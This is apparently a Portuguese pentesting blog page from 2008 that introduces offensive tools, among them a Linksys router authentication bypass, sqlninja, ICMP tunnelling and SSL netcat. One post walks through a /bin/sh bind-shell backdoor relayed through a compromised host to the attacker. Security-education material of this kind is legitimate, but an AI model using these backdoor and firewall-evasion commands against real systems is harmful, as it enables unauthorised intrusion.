Linksys WRT54G Security Bypass Vulnerability June 25, 2008
Posted by y2h4ck in General Hacking, Network Security.Tags: Hacking, Pentest, Ethical Hacking, y2h4ck, linksys wrt54g, linksys hacking, megabonus, ultrabonus, bonus, wireless router, 802.11g
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A interface web no Linksys WRT54g router com firmware
1.00.9 não solicita credenciais quando requisitados
scripts que permite que atacantes acessem features
de administração usando requisições diretas à:
- Advanced.tri
- AdvRoute.tri
- Basic.tri
E muito mais. Recomendo a todos a leitura
to material completo em:
http://www.milw0rm.com/exploits/5926
E recomendo a atualização do Firmware
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Hack in The Box Conference 2007 June 19, 2008
Posted by y2h4ck in General Hacking, General Security.Tags: Ethical Hacking, hack in the box conference, Hacking, hacking material, HITB, penetration testing, y2h4ck
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Pessoal, segue mais um post contendo o link para o material da HITBConf (HackintheBox) que acontece todos os anos em Outubro em Dubai. Seguem os Mainstream Medias e blogs contendo informações do evento.
http://conference.hitb.org/hitbsecconf2007kl/
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ShmooCon 2008 - Presentation Videos June 12, 2008
Posted by y2h4ck in General Hacking.Tags: Ethical Hacking, Hacking, pen-test, penetration testing, Pentesting, shmoocon, shmoocon 2008, shmoocon videos, y2h4ck
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Seguem os videos da ShmooCon 2008. O evento foi muito bom e todos os vídeos são de excelente qualidade. Recomendo a todos.
Apresentações & Tools:
http://www.shmoocon.org/2008/presentations/
Videos:
http://www.shmoocon.org/2008/videos
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sqlninja - Blind SQL Injection Exploit Framework June 10, 2008
Posted by y2h4ck in Ethical Hacking, General Hacking, Pentesting, Web Hacking.Tags: Pentesting, Hacking, exploits, Ethical Hacking, General Hacking, Web Hacking, sql injection, penetration testing, sql, mssql hacking, pen-test, sqlninja
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Sqlninja é uma ferramenta criada para explorar vulnerabilidades de SQL injection em aplicações web que utilizam-se do Microsoft SQL Server em seu back-end.
Seu principal objetivo é prover acesso remoto no servidor Database vulnerável. Pode ser utilizado por penetration testers para ajudar automatizar o processo de intrusão em um servidor DB quando uma vulnerabilidade de SQL Injection é localizada.
A ferramenta é distribuida sob a GPLv2 e classificada no SecurityHacks’ Top 15 Free SQL Injection Scanners, e pode trazer bons resultados durante um pen-test
Features
A documentação completa pode ser encontrada no Tarball e também aqui. Abaixo segue uma pequena lista das principais funcionalidades do Sqlninja:
- Fingerprint of the remote SQL Server (version, user performing the queries, user privileges, xp_cmdshell availability, DB authentication mode)
- Bruteforce of ’sa’ password (in 2 flavors: dictionary-based and incremental)
- Privilege escalation to sysadmin group if ’sa’ password has been found
- Creation of a custom xp_cmdshell if the original one has been removed
- Upload of netcat (or any other executable) using only normal HTTP requests (no FTP/TFTP needed)
- TCP/UDP portscan from the target SQL Server to the attacking machine, in order to find a port that is allowed by the firewall of the target network and use it for a reverse shell
- Direct and reverse bindshell, both TCP and UDP
- DNS-tunneled pseudo-shell, when no TCP/UDP ports are available for a direct/reverse shell, but the DB server can resolve external hostnames (check the documentation for details about how this works)
- Evasion techniques to confuse a few IDS/IPS/WAF
- Integration with Metasploit3, to obtain a graphical access to the remote DB server through a VNC server injection
Sqlninja é escrito em perl e pode ser executado em qualquer Unix com o interpretador perl e foi testado com sucesso em:
- Linux
- FreeBSD
- Mac OS X
Segue abaixo um DEMO de um pen-test em uma aplicação vulnerável, usando o sqlninja para obter acesso ao DB Server.
http://sqlninja.sourceforge.net/sqlninjademo1.html
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Ping Tunnel - Where everything else is blocked May 23, 2008
Posted by y2h4ck in General Hacking, Network Security, Pentesting.Tags: Hacking, Pentest, Ethical Hacking, icmp tunneling, ping tunnels, ptunnel, icmp tunnel, network piercing
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Ptunnel é uma aplicação que permite que você estabeleça tuneis de comunicação TCP para um host remoto usando ICMP echo request e reply packets, comumente conhecidos como ping quest e replie. A primeira vista pode parecer algo totalmente inútil e fora de mão, mas posso garantir que muitas vezes pode salvar sua vida. O exemplo abaixo ilustra bem a principal motivação para utilizar o ptunnel.
Exemplo: Você esta conectado através de uma rede wireless aberta. A rede dá a você um endereço IP, porém o firewall não permite que você envie pacotes TCP ou UDP para o resto da internet, assim você não consegue conectar-se ao seu servidor de e-mail. O que fazer? Você percebe que os pacotes ICMP estão liberados no firewall e você consegue pingar qualquer host na internet. Com o Ptunnel você pode utilizar esta falha na configuração do firewall e acessar o seu email, ou fazer qualquer outra coisa que necessidade de comunicação TCP.
Esta é uma descrição técnica sobre como o ptunnel funciona. Se você não está interessado em low-level networking hacking você pode pular esta sessão. Ptunnel trabalha tunelando conexões TCP através de pacotes ICMP. Neste sentido vamos falar um pouco sobre o proxy, o client e os acessos de Destino. O proxy é o “endpoint” de nossos pacotes ICMP, exemplo, o computador para onde enviamos os Pings. O client é o computador que irá tentar surfar através do tunnel e o Destination é o computador que queremos acessar através da comunicação TCP (um web site ou um servidor SSH em algum lugar).
Desta forma esclarecido, para efetuarmos a comunicação desejada precisamos ter a habilidade de enviar e receber pacotes icmp. Muitos sistemas operacionais permite que façamos isto utilizando raw-sockets. Raw Sockets é o mecanismo mais interessante para enviar pacotes ICMP, e é utilizado tanto pelo Proxy quanto pelo Client. Infelizmente raw sockets precisam que você tenha acesso de root. Caso você não tenha acesso root poderá utilizar o standard datagram sockets. Ptunnel suporta o uso do standard datagram porém não é recomendado para uso.
O cliente irá efetuar todas suas comunicações utilizando ICMP echo request (ping) packet (tipo 8), o qual o proxy irá echo reply packet (tipo 0). Em teoria, é possivel utilizar o proxy usando apenas pacotes echo request , mas estas requisições não necessariamente encaminhadas para o cliente através da rede, sendo assim não são utilizadas.
![]()
Múltiplas Conexões
O proxy pode gerenciar multiplas diferente conexões utilizando o ICMP identifier field. O cliente irá randomicamente gerar um identificar quando a sessão iniciar, e o host remoto irá utilizar este identificar para associar os pacotes com esta conexão. O mecanismo não é totalmente a prova de falhas, mas funciona razoavelmente bem, desde que duas instancias de conexão não utilizem o mesmo identificador (o ICMP não tem mecanismos para reportar este tipo de erro).
Perda de pacotes
O Ptunnel gerencia a perda de pacotes re-enviando os pacotes perdidos. Conforme ele envia os pacotes ele irá incrementar o sequence number. Tanto o client quanto o proxy mantem suas proprias sequencias, e também um número indicando o ultimo numero de sequencia que foi obtido pelo host remoto.
Veja que o proxy irá somente enviar o primeiro pacote que falta. Quando o pacote é recebido, ele pode re-enviar o próximo pacote, dependendo de quantos pacotes serão recebidos.
Usando o Ptunnel
Client: ./ptunnel -p <proxy address> -lp <listen port> -da <destination address> -dp <destination port> [-c <network device>] [-v <verbosity>] [-f <logfile>] [-u] [-x password]
Proxy: ./ptunnel [-c <network device>] [-v <verbosity>] [-f <logfile>] [-u] [-x password]
A opção –s seta o endereço do host onde o proxy está rodando. Um rápido teste para verificar se o proxy está funcionando e simplesmentes pingar o host, se receber os replies você está pronto para fazer o tunnel funcionar.
As opções –lp, -da e –dp irão se referir para a porta local que ficará escutando, o destination address e a destination port. Vamos supor que você deseja tunelar conexões SSH da máquina cliente via proxy que roda em proxy.pingtunnel.com para o computador login.domain.com, você pode utilizar esta forma:
sudo ./ptunnel -p proxy.pingtunnel.com -lp 8000 -da login.domain.com -dp 22
Uma conexão ssh para login.domain.com pode agora ser estabelicida assim:
ssh -p 8000 localhost
Caso o ssh reclame de potencial ataque de man-in-the-middle, simplesmente remova a chave de know_hosts. Este erro irá acontecer caso você ja tenha acessado o “localhost” via ssh, ou tenha utilizado o ptunnel para conexões com outros hosts.
É claro que para que tudo isto acima funcione você deve iniciar o proxy em seu computador remoto (proxy.pigtunnel.com) fazendo simplesmente:
sudo ./ptunnel
Para proteger você mesmo de que outros utilizem seu proxy, você pode proteger o acesso com uma senha usando a opção –x. A senha nunca é enviada em clear text, mas tenha em mente que ela poderá ser vista por ferramentas como top ou ps que podem mostrar a command line usada para iniciar a aplicação.
Finalizando, a opção –u irá tentar rodar o proxy no modo não privilegiado (quando não se tem root access).
Download
A versão atual do ptunnel é a 0.61, o source pode ser baixado aqui.
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MetaGoofil - Metadata Analyzer May 14, 2008
Posted by y2h4ck in General Hacking, Pentesting.Tags: enumeration, Ethical Hacking, google hacking, Hacking, http enum, metadata enum, Pentesting, user enum, Web Hacking
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Metagoofil é uma ferramenta para enumeração desenhada para extrair informações a partir do header de metadata de documentos públicos (pdf,doc,xls,ppt,odp,ods) disponíveis no site da rede alvo.
Após varrer o google a procura dos documentos específicados na command line ele irá gerar um html de saída com os resultados do metadata estraído, listando Potenciais Usernames que serão muito úteis para preparar um Brute-Force attack em serviços disponibilizados como por exemplo, pop3, ftp, web applications, vpn, etc. Além disto ele irá extrair também uma lista de PATHs que foram armazenados no Metada, com essa informação é possível o FingerPrint do sistema operacional alvo, nomes de redes, Shared Resources, etc.
Esta nova versão do metagoofil extrai também o MAC Address de documentos Microsoft Office. Agora você pode ter uma idéia do tipo de hardware que o OS alvo está utilizando.
Todas estas informações não deveriam estar disponíveis na internet, porém a grande maioria das empresas não tem políticas para Information Leaking (Vazamento de Informações), isso sem falar que dessa grande maioria, 90% nem sabe que este tipo de informação realmente existe :P. Com isto você pode mostrar a elas quanta informação um atacante pode obter com uma técnica muito simples.
Como Funciona?
1- Em primeiro lugar o Metagoofil irá procurar no google por documentos públicos sobre determinada empresa. Exemplo, arquivos .PDF (Abaixo segue a Query para Google Hacking).

2- Ele faz download de todos os documentos encontrados para o disco e extrai os Metadata de todos eles, aplicando um filtro para capturar somente as informações realmente interessantes.

3- Exemplo de resultados extraídos por uma sesão de Metagoofil:

Exemplo de lista de Paths disponíveis extraídos do Metadata pelo Metagoofil:

Estando em posse de todos estes dados, você poderá preparer-se muito melhor para efetuar um pentest.
Download:
- MetaGooFil 1.4 - TAR - Released: 20/04/2008
Autor:
· Christian Martorella (Laramies)
http://www.edge-security.com/metagoofil.php
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TMin: Fuzzing Test Case Optimizer May 8, 2008
Posted by y2h4ck in General Hacking, Pentesting.Tags: case optimizer, delta, Ethical Hacking, fuzzing, General Hacking, General Security, Hacking, local fuzzing, Pentesting, remote fuzzing, tmin
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Tmin é um simples utilitário para facilitar a depuração de test cases complexos efetuados atraves de fuzzing. Ele é muito parecido com outra ferramenta deste tipo, delta, mas ele é melhor especialmente em caso de depurações de saídas desconhecidas, fora de padrão ou que o parse format seja difícil de lidar (sem a necessidade de utilizar tokens para re-serializar os dados), e por sua facil integração com UI externas para automatizar os testes.
Uma das features interessantes nele é a normalização alfabética para simplificar os test cases que não podem ser abreviados.
Exemplo de uso:
$ cat testcase.in
This is a lengthy and annoying hello world testcase.
$ cat testme.sh
#!/bin/bash
grep “el..*wo” || exit 0
exit 1
$ ../tmin -x ./testme.sh
tmin - complex testcase minimizer, version 0.03-beta (lcamtuf@google.com)
[*] Stage 0: loading ‘testcase.in’ and validating fault condition…
[*] Stage 1: recursive truncation (round 1, input = 53/53)
[*] Stage 1: recursive truncation (round 2, input = 27/53)
[*] Stage 1: recursive truncation (round 3, input = 14/53)
[*] Stage 1: recursive truncation (round 4, input = 10/53)
[*] Stage 1: recursive truncation (round 5, input = 8/53)
[*] Stage 1: recursive truncation (round 6, input = 7/53)
[*] Stage 2: block skipping (round 1, input = 7/53)
[*] Stage 2: block skipping (round 2, input = 6/53)
[*] Stage 2: block skipping (round 3, input = 5/53)
[*] Stage 3: alphabet normalization (round 1, charset = 5/5)
[*] Stage 3: alphabet normalization (round 2, charset = 5/5)
[*] Stage 4: character normalization (round 1, characters = 4/5)
[*] All done - writing output to ‘testcase.small’…
== Final statistics==
Original size : 53 bytes
Optimized size : 5 bytes (-90.57%)
Chars replaced : 1 (1.89%)
Efficiency : 9 good / 49 bad
Round counts : 1:6 2:3 3:2 4:1
$ cat testcase.small
el0wo
Detalhes
A ferramenta procura por um arquivo chamado testcase.in no mesmo diretório, e irá escrever um testcase.small minimo para aquele teste em especial. Para otimizar o test case para uma aplicação alvo, você pode simplesmente executar:
./tmin /path/to/program
Deste modo, tmin irá executar /path/to/program a cada ciclo, alimentando com o test case modificado o stdin do programa, e examinando a saída. O programa saindo com um sinal igual SIGSEGV será interpretado que o test case ainda esta funcionando. Você pode também utilizar –x command-line switch para modificar a lógica e tratar non-zero return codes como condições de erro.
non-zero return codes as fault conditions likewise, and -w file to save data to a specified location to be read by the tested application, instead of supplying it on stdin.
Para testes remotes, tmin suporta o –s command-line switch. Neste modo, o comportamento do programa especificado é ignorado e o tool espera por um sinal SIGUSR1 (clean execution) e SIGUSR2 (fault execution). Dois exemplos comuns são os abaixo:
./tmin -s -w local_file.txt /bin/true
./tmin -s nc 127.0.0.1 1234
Como mostrado acima, o nc será utilizado como um wrapper para a interação com o network service, e /bin/true será utilizado como um “decoy” enquanto o tmin escreve em arquivos locais.
Download:
Pode ser baixado aqui.
SSL Capable NetCat (and more) May 6, 2008
Posted by y2h4ck in General Hacking, Network Security.Tags: ethical hacker, Hacking, netcat, Pentesting, scnc, ssl netcat, ssl proxy, ssl proxying, ssl tunnel, tcp proxying, udp proxying
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Todos já conhecem o que é o netcat (escrito por Hobbit em 1996), como usá-lo e que foi integrado nos sistemas UNIX a bastante tempo. Esta versão em Perl adiciona ao Netcat algumas possibilidades que o mesmo não tem. Por exemplo, suporte SSL, TCP e UDP Proxying e IPv4/IPv6 proxying.
SSL Capable NetCat 1.00
Usage: scnc [-options] target port
-c use SSL (default to not)
-a use SSL certificate authority file
-f use SSL certificate file (PEM format)
-k use SSL private key file (PEM format)
-t do telnet negociation (default to not)
-6 use IPv6 (default to not)
-e cmd command to execute
-l listen for connections (default to not)
-p port use local port number (default to random high)
-s address use address for bindings (default to all addresses)
-u use UDP socket (default to TCP)
-v be verbose (default to not)
-r host:port proxy connection to host:port
-r host:port:ipv6 proxy connection to host:port using IPv6
-r host:port::ssl proxy connection to host:port using SSL
-r host:port:ipv6:ssl proxy connection to host:port using IPv6 and SSL
Protegendo conexões com túneis SSL
Você tem um servidor e um client (obviamente) que você controla. Você tem um serviço que não suporta SSL más você deseja estabelecer uma conexão SSL para evitar que em algum peer seja possível ler sua comunicação. A solução é criar um SSL tunnel (como se fosse o ssltunnel ou o stunnel).
- Server side (scnc irá escutar na porta 10000/TCP usando SSL e irá redirecionar o tráfego para localhost porta 110/TCP):
prompt$ scnc -vc -a ca.pem -f server.pem -k server-key.pem -p 10000 -r localhost:110
server: SSL listening on: 0.0.0.0:10000 (IPv4)
- Client side (scnc irá escutar em localhost porta 1110/TCP e irá redirecionar o tráfego para o servidor porta 10000/TCP usando SSL):
prompt$ scnc -v -s localhost -p 1110 -r server:10000::ssl
server: listening on: 127.0.0.1:1110 (IPv4)
Agora você pode utilizar seu client side application e usar o localhost e a porta 1110/TCP como endereço do servidor. Todo o tráfego irá ficar seguro por SSL.
Proxying SSL para acessar tráfego em Clear Text
Supomos que você está auditando um Web Server que suporta apenas HTTPS. Você deseja usar seu Sniffer Clássico ou uma ferramenta para Proxy (WebScarab/Paros). Você precisa remover a criptografia SSL para facilitar sua vida.
- Cliente side irá se tornar um SSL proxy (scnc irá escutar em localhost porta 1443/tcp e irá redirecionar o tráfego para o servidor que será auditado na porta 443/tcp usando SSL assim como os client Certificates):
prompt$ scnc -v -r audited-server:443::ssl -a ca.pem -f client.pem -k client-key.pem -s localhost -p 1443
server: listening on: 127.0.0.1:1443 (IPv4)
- Client side Exemplo:
prompt$ scnc -v localhost 1443
client: connected to: 127.0.0.1:1443 (IPv4)
GET / HTTP/1.0
HTTP/1.1 302 Found
Date: Thu, 27 Apr 2008 11:25:50 GMT
Server: Apache
…
Você agora pode usar sua ferramenta clássica de auditoria e usar o localhost com porta 1443/TCP como target server. Todo tráfego para localhost 1443/tcp será em Clear Text.
Digamos que você tenha um server escutando na porta 31337/UDP, com uma backdoor de /bin/bash. Essa porta é filtrada por um firewall e você PRECISA usar alguma técnica de Port Forwarding porque o único IP Address permitido é o 192.168.10.200. Este IP address tem um serviço (uma aplicação Web escrita em PHP que permite você fazer upload e executar um comando). Isto poderia ser game over para este host, mas você não está interessado nele e quer apenas usar um caminho mais fácil. Você pode exploitar estar vulnerabilidade e primeiramente enviar o sncn, depois executa-lo com os parametros de proxying.
- Backdoored target (172.16.10.1:31337/UDP):
prompt$ scnc -vul -e /bin/sh -p 31337
server: listening on: 0.0.0.0:31337 (IPv4)
- Proxying host vulnerável (192.168.10.200:9000/UDP):
prompt$ scnc -vu -r 172.16.10.1:31337 -p 9000
server: listening on: 0.0.0.0:9000 (IPv4)
- Attacking host:
prompt$ scnc -vu 192.168.10.200 9000
client: connected to: 192.168.10.200:9000 (IPv4)
sh: turning off NDELAY mode
id
uid=1000(user) gid=1000(users) …
Você tem agora um tunnel UDP proxied e totalmente funcional. Se você tem um acesso TCP, claro que você usará TCP proxying.
Se você deseja testar as features SSL, você pode baixar os seguintes certificados:
Espero que tenham gostado e Good Hacking 4 All.
SSLDump: Dump SSL Traffic on Network May 1, 2008
Posted by y2h4ck in Ethical Hacking, General Hacking, General Security, Network Security, Pentesting.Tags: Ethical Hacking, General Hacking, General Security, Hacking, Network Security, penetration test, Pentest, ssldump
1 comment so far
SSLdump e um SSL/TLS network protocol analyzer. Ele analisa as conexões TCP na rede onde você está coletando o tráfego e tenta interpretar o tráfego SSL/TLS. Quando ele identifica o tráfego SSL/TLS, ele decodifica os pacotes gravados e depois mostra eles em forma de saída de texto no stdout.
Caso o atacante tenha uma copia dos certificados que estão sendo utilizados na comunicação, o ssldump consegue inclusive descriptografar as conexões e mostrar o data traffic da aplicação.
ssldump 0.9b3
A versão atual do ssldump é a 0.9b3
Download disponível aqui
Documentação Extra aqui.
Exemplos de utilização
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Escuta o tráfego na interface le0 na porta 443 |
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ssldump -i le0 port 443 |
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Escuta o tráfego do server romeo na porta 443. |
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ssldump -i le0 port 443 and host romeo
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Descriptografar o tráfego do host romeo usando o certificado server.pm com senha foobar |
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ssldump -Ad -k ~/server.pem -p foobar -i le0 host romeo
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Exemplo de saída
Abaixo segue um exemplo do trace gerado pelo ssldump.
New TCP connection #3: localhost(363<-> localhost(4433) 3 1 0.0738 (0.073
C>S Handshake ClientHello 3 2 0.0743 (0.0004) S>C Handshake ServerHello 3 3 0.0743 (0.0000) S>C Handshake Certificate 3 4 0.0743 (0.0000) S>C Handshake ServerHelloDone 3 5 0.0866 (0.0123) C>S Handshake ClientKeyExchange 3 6 0.0866 (0.0000) C>S ChangeCipherSpec 3 7 0.0866 (0.0000) C>S Handshake Finished 3 8 0.0909 (0.0043) S>C ChangeCipherSpec 3 9 0.0909 (0.0000) S>C Handshake Finished 3 10 1.8652 (1.7742) C>S application_data 3 11 2.7539 (0.8887) C>S application_data 3 12 5.1861 (2.4321) C>S Alert warning close_notify 3 5.1868 (0.0007) C>S TCP FIN 3 5.1893 (0.0024) S>C TCP FIN
Este exemplo usa a flag para decodificação minima. SSLdump tem flags que permitem decodificar todas as mensagens, incluindo o application protocol data.
O SSLdump consegue descriptografar o tráfego entre 2 hosts se as seguintes condições ocorrem:
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1. ssldump tem as chaves. 2. Static RSA foi usado. |
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Em ambos os casos, quando a encriptação inicial, ssldump irá somente estar apto à determinar o tipo de record. Considere a seguinte sessão de um trace: |
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1 5 0.4129 (0.1983) C>S Handshake ClientKeyExchange 1 6 0.4129 (0.0000) C>S ChangeCipherSpec 1 7 0.4129 (0.0000) C>S Handshake 1 8 0.5585 (0.1456) S>C ChangeCipherSpec 1 9 0.6135 (0.0550) S>C Handshake 1 10 2.3121 (1.6986) C>S application_data 1 11 2.5336 (0.2214) C>S application_data 1 12 2.5545 (0.0209) S>C application_data 1 13 2.5592 (0.0046) S>C application_data 1 14 2.5592 (0.0000) S>C Alert Perceba que o ClientKeyExchange mesage type é mostrado mas o resto do HandShake messages não tem os types mostrados. |
O SSLdump consegue trabalhar com SSLv1, SSLv2 e SSLv3 e TLS.
Espero que tenham gostado.
Good Hacking 4 All.
IRS: Ip Restrictions Scanner April 22, 2008
Posted by y2h4ck in Ethical Hacking, General Hacking, Pentesting.Tags: Arp Spoof, Extrusion, Hacking, Hal Scan, IP Spoof, IRS, network attacks, network impersonation, Pentesting
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Muitas vezes uma das principais necessidades dentro de um pentest é publicar uma porta da rede interna para a internet a fim de facilitar o acesso de algum console SSH ou Terminal Service. Porém nem sempre é uma tarefa fácil encontrar hosts que tenham acesso permissivo para a internet.
Firewalls, Proxies e Content filters estão cada vez mais presentes em diversos segmentos de rede dificultando o que é conhecido como “Extrusion Attacks”.
Muitos mecanismos de Extrusion Detection vêm sendo implantados em pontos estratégicos da rede, para impedir que trojans, vírus e outros tipos de ameaças consigam evadir-se da rede, muitas vezes copiando informações sensíveis para hosts na internet, assim como também impedindo que funcionários (Insiders), possam muitas vezes cometer Espionagem Industrial fornecendo dados sigilosos à terceiros.
A implantação bem sucedida de um Filtro na camada de aplicação (Proxy) pode causar muitas dores de cabeça para um pentester que necessita publicar o acesso da rede interna na internet. Em muitos casos um bypass em cima de um filtro de Aplicação pode tornar-se complicado e uma ferramenta que irá ajudar muito em um cenário como este é o IRS (Ip Restrictions Scanner).
Desenvolvido pelos mesmos criadores do conhecido Cain & Abel (ferramenta com múltiplas funcionalidades), o IRS utiliza-se de diversas técnicas entre elas:
- Mac Address Spoofing
- Ip Spoofing
- Arp Tables Spoofing
- Half Scan
Ele atua de acordo com uma pequena configuração que deve ser feita apenas direcionando qual a interface de rede o mesmo deve utilizar. O IRS irá verificar qual a netmask utilizado pelo seu host e assim varrer todos os hosts que estão disponíveis neste segmento. Fazendo o IP Spoof ele envia uma solicitação SYN para o host externo e a porta que você colocou e fica aguardando o retorno de um pacote SYN/ACK. Assim ele mostra para você que este host consegue efetuar a comunicação que você tanto precisa.
Agora basta acessar este host (Estação de Administrador ou servidor) e fazer a publicação do acesso da forma que lhe for mais conveniente.
O IRS pode ser baixado aqui.
Esta versão pode ser utilizada no Windows 2000,Xp e 2003.
Antes de instala-lo deve-se tomar o cuidado de instalar a versão mais recente do pacote Winpcap que será necessário para a execução do IRS.
Maiores informações em http://oxid.it
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